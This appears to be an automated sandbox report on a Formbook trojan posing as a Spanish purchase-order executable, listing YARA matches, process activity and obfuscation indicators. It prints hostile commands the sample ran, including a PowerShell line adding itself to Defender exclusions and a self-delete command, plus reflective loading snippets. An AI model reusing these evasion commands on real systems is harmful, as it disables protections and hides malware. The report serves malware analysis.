                Source: 00000008.00000002.3781993487.0000000000B90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
                Source: 00000008.00000002.3781993487.0000000000B90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
                Source: 00000007.00000002.3796185468.000000000869F000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8343b5d02d74791ba2d5d52d19a759f761de2b5470d935000bc27ea6c0633f5, id = 772cc62d-345c-42d8-97ab-f67e447ddca4, last_modified = 2022-07-18
                Source: 00000002.00000002.1397158259.0000000004104000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
                Source: 00000002.00000002.1397158259.0000000004104000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
                Source: 00000002.00000002.1397158259.0000000004104000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
                Source: Process Memory Space: Solicitud de pedido Documento No 168646080.exe PID: 3180, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
                Source: Process Memory Space: Solicitud de pedido Documento No 168646080.exe PID: 7348, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
                Source: Process Memory Space: msiexec.exe PID: 7484, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
                Source: Solicitud de pedido Documento No 168646080.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, whpP5TtEouWaYsEmMt.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, kbyZoOFYGol61nA9yq.csSecurity API names: _0020.SetAccessControl
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, kbyZoOFYGol61nA9yq.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, kbyZoOFYGol61nA9yq.csSecurity API names: _0020.AddAccessRule
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, kbyZoOFYGol61nA9yq.csSecurity API names: _0020.SetAccessControl
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, kbyZoOFYGol61nA9yq.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, kbyZoOFYGol61nA9yq.csSecurity API names: _0020.AddAccessRule
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, whpP5TtEouWaYsEmMt.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                Source: classification engineClassification label: mal100.troj.evad.winEXE@11/6@10/9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Solicitud de pedido Documento No 168646080.exe.logJump to behavior
                Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7340:120:WilError_03
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
                Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7516:120:WilError_03
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_khqrro1x.yhm.ps1Jump to behavior
                Source: Solicitud de pedido Documento No 168646080.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: Solicitud de pedido Documento No 168646080.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: Solicitud de pedido Documento No 168646080.exe, 00000002.00000000.1318677618.00000000003F2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: select * from [GroceryMSdb].[dbo].[ProductList] order by ProdId asc;
                Source: Solicitud de pedido Documento No 168646080.exe, 00000002.00000000.1318677618.00000000003F2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: select ProdId, ProdName, ProdPrice, ProdQty, ProdCat from [GroceryMSdb].[dbo].[ProductList] order by ProdId asc;?select * from SelectedProducts;5Select a product to remove
                Source: Solicitud de pedido Documento No 168646080.exe, 00000002.00000000.1318677618.00000000003F2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: SELECT TOP (1) [ProdId] FROM [GroceryMSdb].[dbo].[ProductList] order by ProdId desc;
                Source: Solicitud de pedido Documento No 168646080.exe, 00000002.00000000.1318677618.00000000003F2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: select ProdId, ProdName, ProdPrice, ProdQty, ProdCat from [GroceryMSdb].[dbo].[ProductList] order by ProdId asc;:DELETE FROM SelectedProducts;>select * from SelectedProducts;
                Source: Solicitud de pedido Documento No 168646080.exe, 00000002.00000000.1318677618.00000000003F2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: select * FROM [GroceryMSdb].[dbo].[User] where Role = 'Employee';
                Source: Solicitud de pedido Documento No 168646080.exe, 00000002.00000000.1318677618.00000000003F2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: select Id from [GroceryMSdb].[dbo].[User] where Role='Employee';
                Source: Solicitud de pedido Documento No 168646080.exe, 00000002.00000000.1318677618.00000000003F2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: select ProdId, ProdName, ProdQty from [GroceryMSdb].[dbo].[ProductList] order by ProdQty asc;gselect ProdId from ProductList order by ProdId asc;cselect CusId from [GroceryMSdb].[dbo].[Customer];aselect OrderId from [GroceryMSdb].[dbo].[Order];gselect TotalPrice from [GroceryMSdb].[dbo].[Order];kselect ProdCat from ProductList order by ProdCat asc;
                Source: Solicitud de pedido Documento No 168646080.exe, 00000002.00000000.1318677618.00000000003F2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: SELECT TOP (1) [Id] FROM [GroceryMSdb].[dbo].[User] order by Id desc;
                Source: Solicitud de pedido Documento No 168646080.exe, 00000002.00000000.1318677618.00000000003F2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: SELECT TOP (1) [OrderId] FROM [GroceryMSdb].[dbo].[Order] order by OrderId desc;
                Source: Solicitud de pedido Documento No 168646080.exeReversingLabs: Detection: 42%
                Source: unknownProcess created: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess created: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe
                Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe
                Source: C:\Windows\SysWOW64\msiexec.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe"
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess created: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeJump to behavior
                Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exeJump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe"Jump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
                Source: Window RecorderWindow detected: More than 3 window changes detected
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                Source: Solicitud de pedido Documento No 168646080.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
                Source: Solicitud de pedido Documento No 168646080.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                Source: Solicitud de pedido Documento No 168646080.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: Binary string: msiexec.pdb source: Solicitud de pedido Documento No 168646080.exe, 00000006.00000002.1450474495.00000000011D8000.00000004.00000020.00020000.00000000.sdmp, Solicitud de pedido Documento No 168646080.exe, 00000006.00000002.1450776254.0000000001590000.00000040.10000000.00040000.00000000.sdmp, msiexec.exe, 00000008.00000002.3782071356.0000000000BD0000.00000040.80000000.00040000.00000000.sdmp
                Source: Binary string: msiexec.pdbGCTL source: Solicitud de pedido Documento No 168646080.exe, 00000006.00000002.1450474495.00000000011D8000.00000004.00000020.00020000.00000000.sdmp, Solicitud de pedido Documento No 168646080.exe, 00000006.00000002.1450776254.0000000001590000.00000040.10000000.00040000.00000000.sdmp, msiexec.exe, 00000008.00000002.3782071356.0000000000BD0000.00000040.80000000.00040000.00000000.sdmp
                Source: Binary string: qEnw.pdbSHA256 source: Solicitud de pedido Documento No 168646080.exe
                Source: Binary string: wntdll.pdbUGP source: Solicitud de pedido Documento No 168646080.exe, 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3787118539.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3787118539.0000000004E2E000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.1452347994.0000000004AE8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.1450689990.0000000004932000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: Solicitud de pedido Documento No 168646080.exe, Solicitud de pedido Documento No 168646080.exe, 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, msiexec.exe, 00000008.00000002.3787118539.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3787118539.0000000004E2E000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.1452347994.0000000004AE8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.1450689990.0000000004932000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: qEnw.pdb source: Solicitud de pedido Documento No 168646080.exe

                Data Obfuscation

                barindex
                .NET source code contains method to dynamically call methods (often used by packers)
                Source: Solicitud de pedido Documento No 168646080.exe, EmployeeDash.cs.Net Code: LateBinding.LateCall((object)methodInfo, (Type)null, "Invoke", new object[2]{0,new string[3]{SSA[0],SSA[1],"GMS"}}, (string[])null, (bool[])null)
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.27e322c.2.raw.unpack, fJ.cs.Net Code: xG(typeof(Marshal).TypeHandle).GetMethod("GetDelegateForFunctionPointer", new Type[2]{xG(typeof(IntPtr).TypeHandle),typeof(Type)})
                Source: 7.2.explorer.exe.1043f840.0.raw.unpack, EmployeeDash.cs.Net Code: LateBinding.LateCall((object)methodInfo, (Type)null, "Invoke", new object[2]{0,new string[3]{SSA[0],SSA[1],"GMS"}}, (string[])null, (bool[])null)
                Source: 8.2.msiexec.exe.521f840.3.raw.unpack, EmployeeDash.cs.Net Code: LateBinding.LateCall((object)methodInfo, (Type)null, "Invoke", new object[2]{0,new string[3]{SSA[0],SSA[1],"GMS"}}, (string[])null, (bool[])null)
                .NET source code contains potential unpacker
                Source: Solicitud de pedido Documento No 168646080.exe, EmployeeDash.cs.Net Code: InitializeComponent System.AppDomain.Load(byte[])
                Source: Solicitud de pedido Documento No 168646080.exe, EmployeeDash.cs.Net Code: InitializeComponent contains xor as well as GetObject
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, kbyZoOFYGol61nA9yq.cs.Net Code: vnLm7js8uM System.Reflection.Assembly.Load(byte[])
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.7070000.8.raw.unpack, -Module-.cs.Net Code: _206D_202D_206D_202D_206F_202C_200E_206B_202D_206C_206A_206A_202E_202D_202E_202E_206D_206A_200E_200B_206C_206B_202C_202A_202E_206C_206B_200E_200E_206F_202E_200E_200F_200D_202A_206C_202B_202C_206A_200D_202E System.Reflection.Assembly.Load(byte[])
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.7070000.8.raw.unpack, Architectural.cs.Net Code: Justy
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.7070000.8.raw.unpack, Architectural.cs.Net Code: _206A_202E_202C_202C_206F_206C_206A_200D_202B_202B_206C_200F_206A_200E_200E_202E_202E_200B_206D_206E_206D_200E_206F_202D_200C_206B_200D_206C_200B_206C_202B_202E_206F_200B_206B_200C_202B_200D_200D_206C_202E System.Reflection.Assembly.Load(byte[])
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.4346620.7.raw.unpack, kbyZoOFYGol61nA9yq.cs.Net Code: vnLm7js8uM System.Reflection.Assembly.Load(byte[])
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.371a190.6.raw.unpack, -Module-.cs.Net Code: _206D_202D_206D_202D_206F_202C_200E_206B_202D_206C_206A_206A_202E_202D_202E_202E_206D_206A_200E_200B_206C_206B_202C_202A_202E_206C_206B_200E_200E_206F_202E_200E_200F_200D_202A_206C_202B_202C_206A_200D_202E System.Reflection.Assembly.Load(byte[])
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.371a190.6.raw.unpack, Architectural.cs.Net Code: Justy
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.371a190.6.raw.unpack, Architectural.cs.Net Code: _206A_202E_202C_202C_206F_206C_206A_200D_202B_202B_206C_200F_206A_200E_200E_202E_202E_200B_206D_206E_206D_200E_206F_202D_200C_206B_200D_206C_200B_206C_202B_202E_206F_200B_206B_200C_202B_200D_200D_206C_202E System.Reflection.Assembly.Load(byte[])
                Source: 7.2.explorer.exe.1043f840.0.raw.unpack, EmployeeDash.cs.Net Code: InitializeComponent System.AppDomain.Load(byte[])
                Source: 7.2.explorer.exe.1043f840.0.raw.unpack, EmployeeDash.cs.Net Code: InitializeComponent contains xor as well as GetObject
                Source: 8.2.msiexec.exe.521f840.3.raw.unpack, EmployeeDash.cs.Net Code: InitializeComponent System.AppDomain.Load(byte[])
                Source: 8.2.msiexec.exe.521f840.3.raw.unpack, EmployeeDash.cs.Net Code: InitializeComponent contains xor as well as GetObject
                Source: Solicitud de pedido Documento No 168646080.exeStatic PE information: 0xE52FAD6A [Mon Nov 5 13:17:30 2091 UTC]
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_00BFC220 push eax; retf 2_2_00BFC226
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_00BFC873 push edx; retf 2_2_00BFC87E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_00BFD6EA push eax; iretd 2_2_00BFD6F1
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_00BFBDB8 push eax; retf 2_2_00BFBDC2
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_00BFDEF3 pushad ; retf 2_2_00BFDF02
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_00BFBE40 push edi; retf 2_2_00BFBE52
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06EA4580 push edi; retf 2_2_06EA458E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FE36D3 push ebx; iretd 2_2_06FE36DA
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFC46D push esi; ret 2_2_06FFC46E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFC463 push esi; ret 2_2_06FFC464
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFD0EB push es; iretd 2_2_06FFD0EC
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_06FFD117 push es; iretd 2_2_06FFD120
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 2_2_07374FC0 pushad ; retf 2_2_07374FCE
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041683E push esi; ret 6_2_0041683F
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041718B push ds; iretd 6_2_0041718C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041E99E push esi; iretd 6_2_0041E99F
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_00417224 push ebx; iretd 6_2_0041722A
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041D4F2 push eax; ret 6_2_0041D4F8
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041D4FB push eax; ret 6_2_0041D562
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_00417C92 push ss; retf 6_2_00417C9E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041D4A5 push eax; ret 6_2_0041D4F8
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0041D55C push eax; ret 6_2_0041D562
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0040F531 push 75DF417Dh; iretd 6_2_0040F536
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0163225F pushad ; ret 6_2_016327F9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016327FA pushad ; ret 6_2_016327F9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016609AD push ecx; mov dword ptr [esp], ecx6_2_016609B6
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0163283D push eax; iretd 6_2_01632858
                Source: C:\Windows\explorer.exeCode function: 7_2_0868D08E push esi; iretd 7_2_0868D08F
                Source: C:\Windows\explorer.exeCode function: 7_2_0868AB02 push esp; retn 0000h7_2_0868AB03
                Source: C:\Windows\explorer.exeCode function: 7_2_0868AB1E push esp; retn 0000h7_2_0868AB1F
                Source: C:\Windows\explorer.exeCode function: 7_2_0868A9B5 push esp; retn 0000h7_2_0868AAE7
                Source: Solicitud de pedido Documento No 168646080.exeStatic PE information: section name: .text entropy: 7.820552407910732
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, sLRI9GJjvArwHEhSWK.csHigh entropy of concatenated method names: 'ToString', 'MoSqG05CGK', 'lj6qj8wmTq', 'HN7qAcgVF9', 'Ev2qLrj5AM', 'lwhqH3PPPf', 'bIHqCmk9VK', 'xxVq3gmmXs', 'XJUqnvRf4o', 'l1hqEiVvYn'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, UEt4RuVj59T2YvPenP.csHigh entropy of concatenated method names: 'tpH5YlWom3', 'EUA5wAyR9B', 'ujS5Vmv707', 'grg5M5oLR8', 'LwJ5jO1aVn', 'tDe5AlE2es', 'tWd5LCIpQB', 'Mn35HPPtTK', 'FbI5ChTZdc', 'Bi1539QCeA'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, s9W9qXssUxe91dWd8e.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'ChJNXlyjhn', 're2NOpnUd0', 'nS3NzPLw3R', 'wjCh2RkhHF', 'LVqhZwlmw5', 'xBahN6rXfk', 'tGnhhvKD75', 'od8qB8ltYjJ32DIkgGq'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, uUP5ZuEbq2Gi9XMBD4.csHigh entropy of concatenated method names: 'to68kLJQhK', 'Tcv8f6v12R', 'i9L87gj7Bv', 'fxg8Pov4lH', 'm218p1dSk8', 'YLk8apUbh5', 'Jwf8rV4bHg', 'BnR8tLtF14', 'W9l8D027X9', 'OnT8Kwiu6i'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, PNfuJEZ2FZppjAAPwOi.csHigh entropy of concatenated method names: 'tE64k7LBV0', 'pYI4ftMQv9', 'f7o47JA1xQ', 'VHD4P3X6DT', 'uaD4pc2WwP', 'hlY4a9FPum', 'IIB4rrnKFf', 'j7h4ttPskR', 'OAL4DOpmGN', 'CVb4KIdvjl'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, JqZxH7NGZe0CZqVjYM.csHigh entropy of concatenated method names: 'nN67yfDq7', 'v1gP2HnqP', 'hPRaMPnou', 'JPorypiJa', 'TSADf7hYe', 'RTYKDo1OO', 'Wu9T0JTEmFwGAKXtxg', 'YDKRXDuCsyFYMxJ1EU', 'NopRujgvj', 'F66uZq6vN'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, WEt2tMxBuP0WJAu67W.csHigh entropy of concatenated method names: 'V3JUglg9h6', 'knxUOYcnOt', 'zgZR2gYigX', 'X2VRZS59fH', 'viXUGPUjFw', 'Yu0UwOWpOb', 'grQUv719V8', 'nVmUVp7DFa', 'KKCUMkagqF', 'Ev5UJbrW4f'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, kbyZoOFYGol61nA9yq.csHigh entropy of concatenated method names: 'rUehoLpnhN', 'rpthQO46F5', 'B4wh1hmalt', 'jXwhskN8NK', 'MPQhW2XnxN', 'QZQhSeb6UR', 'MbAh8JGHLE', 'FBchFbLdEO', 'RNKh9suWi7', 'G21hBY1LlW'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, mfHaqEmWGMPG8q2JbU.csHigh entropy of concatenated method names: 'ExdZ8hpP5T', 'NouZFWaYsE', 'IlpZBRf1IY', 'WM0ZlXssI8', 'u8wZ58ddv6', 'jhEZqYFL3Z', 'kWDb5TXgR0QtU6gNN2', 'SFw6vH2PM6AfbinNQN', 'YFiZZyX8aF', 'lKOZh29LCF'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, whpP5TtEouWaYsEmMt.csHigh entropy of concatenated method names: 'pTv1VnfKTr', 'QK61MjMHJb', 'By01J2PEu4', 'cYE1cQFeFQ', 'uy210QLlOG', 'CdF1xcgYpV', 'Xvq1ePrZ6N', 'wMJ1gEE6q5', 'g4o1XckZRO', 'joq1OWdmiu'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, Vpd9pvc8KTgC1ikJTB.csHigh entropy of concatenated method names: 'e9eUB6XWtm', 'TZEUlsfGAQ', 'ToString', 'YdOUQbo0Qc', 'hXvU1E6KRM', 'vgGUsGlZtM', 'R26UWRQxW0', 'CjNUSIfbgF', 'g6eU8fgvRs', 'b8ZUFAvrWP'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, nbVmOt39PuGpFLTi56.csHigh entropy of concatenated method names: 'Swa8Qt5BS6', 'JUX8slxfap', 'dcD8SxplxH', 'yt7SOr7ypU', 'OLWSzM0hEF', 'AmR82ZTcIx', 'lYk8ZkvKg5', 'OYy8NYTKPL', 'w7t8hrsQ40', 'jgk8mZF3po'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, L8GOIBzlkeLmGR2cdg.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Uae46V4QZ1', 'jOk45MqEpi', 'dr34q5Rsy5', 'mi64U25c1t', 'yia4RpMdyU', 'C6W443esno', 'NSP4uSvcO7'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, VwagPN15K2l8SkE0JM.csHigh entropy of concatenated method names: 'Dispose', 'xLhZXZKcaQ', 'Y53NjlCEVb', 'hcq337CPaS', 'TtqZOZD0vG', 'eDsZzpBUcv', 'ProcessDialogKey', 'SoXN2QA7bA', 'vU6NZbYKxM', 'I7CNNObF1Q'
                Source: 2.2.Solicitud de pedido Documento No 168646080.exe.dfb0000.10.raw.unpack, vv68hEbYFL3ZYtq818.csHigh entropy of concatenated method names: 'dNkSoGBsCw', 'WCMS1rfbJi', 'JHsSWRiswn', 'jKFS8JViTa', 'eBqSFxXo6j', 'IfIW0KDfUk', 'L83Wx3xNxP', 't9pWeObIO5', 'WQrWg0bFdw', 's4HWXMYiKN'
